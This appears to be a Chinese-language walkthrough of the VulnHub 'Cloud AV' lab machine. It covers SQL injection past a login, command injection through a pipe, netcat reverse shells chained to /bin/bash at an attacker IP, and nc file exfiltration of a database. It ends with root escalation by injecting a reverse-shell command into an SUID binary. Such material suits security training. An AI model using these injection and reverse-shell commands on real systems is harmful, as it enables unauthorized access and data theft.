0x02-VulnHub靶机-easy_cloudantivirus
环境
0x03
地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
靶机用VMware打开扫不到主机
难度-> 低
内容
- nc串联(管道符号的应用)
- sql注入 进后台
- 密码爆破 进后台
- ssh爆破登录
- suid提权

操作
信息收集
arping 适用范围广
命令 for i in $(seq 1 254);do sudo arping -c 2 192.168.3.$i;done
然后再扫描端口 发现 22 8080
是个登录界面

dirsearch扫出来/console

爆破
先采取对 登录界面爆破 password 回显包长度不同

sql注入
还有当我们输入 " 就会显示报错页面 输入的也有会回显出来 多了个"

输入个SELECT version(); 说明拼接进去了 构造一下就可以注入了

select * from code where password=" " " 无法闭合
select * from code where password=" " or 1=1--+ "
这里我们是要登入到后台去 输入 "or 1=1--+ 将后面内容注释 让这语句恒正确 就可以不用密码 直接进去
渗透
进去之后是一个这样的页面 很像 linux的 ls -all命令所展示出来的结果

然后我输入一个文件给他扫描 有回显 可能他的逻辑是 杀毒软件 file 这个时候我们试试 | 接上命令
看能不能执行

cat | id

可以的 然后结合是python 环境 写一个python的反弹命令 //
因为可以执行 linux命令 我们可以用 which nc 看看有没有nc
这条命令 出不来 因为在有些linux发行版本 nc 不能够用-e
cat | nc 192.168.3.87 5689 -e /bin/sh
我们试试nc 能不能连接到 cat | nc 192.168.3.87 5689

nc串联
启动两个端口监听
cat | nc 192.168.3.87 3332 |/bin/bash | nc 192.168.3.87 4443

在3332这个端口输入东西会在4443这个端口回显
用户名密码爆破
发现有个database.sql文件,我们需要使用查询分析器运行脚本文件,我们直接执行一下看看,这里启动sqlite,并没有反应,我们使用nc将文件传输到本地中,在本地进行内容的读取
kali上 nc -lvvp 2233 >mao.sql
靶机shell上 nc -nv 192.168.3.87 2233 <database.sql

启动sqlite3 打开导出的sql文件 .open mao.sql 提取东西 .dump 发现了四个密码

myinvitecode123 mysecondinvitecode cloudavtech mostsecurescanner
结合前面开放的22端口 想到了可以用hydra爆破ssh
这个时候再到shell上面去查看有哪些用户 cat /etc/passwd
找有bash的 root cloudav scanner

很遗憾 爆破没成功 但是这是一种很重要的思路

继续收集 提权
看看能不能suid =>find / -perm -u=s -type f 2>/dev/null
发现这个 一看就是后面下载的 给的suid权限

然后切到 这个目录去看看

update_cloudav 肯定是 update_cloudav.c 编译的 去看看update_cloudav.c代码

可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
./update_cloudav "a |nc 192.168.3.87 6667 |/bin/bash|nc 192.168.3.87 7778"

直接拿到root
总结
nc串联
nc -e 参数用不了的时候
Linux 中,竖线符号 |(管道符号)用于将一个命令的输出传递给另一个命令作为输入。这种功能被称为“管道”(pipeline),允许用户将多个命令连接在一起,实现更复杂的操作。
例如,您可以使用 | 符号来连接两个命令,将第一个命令的输出作为第二个命令的输入
nc 192.168.3.87 3332 |/bin/bash | nc 192.168.3.87 4443
第一个 3332端口的连接后续输入所有的指令 都会通过管道发送给bin/bash 去解析 而解析的结果通过另外一个管道发送给第二个4443端口的连接
sql
拿到shell后 sql文件肯定是要看的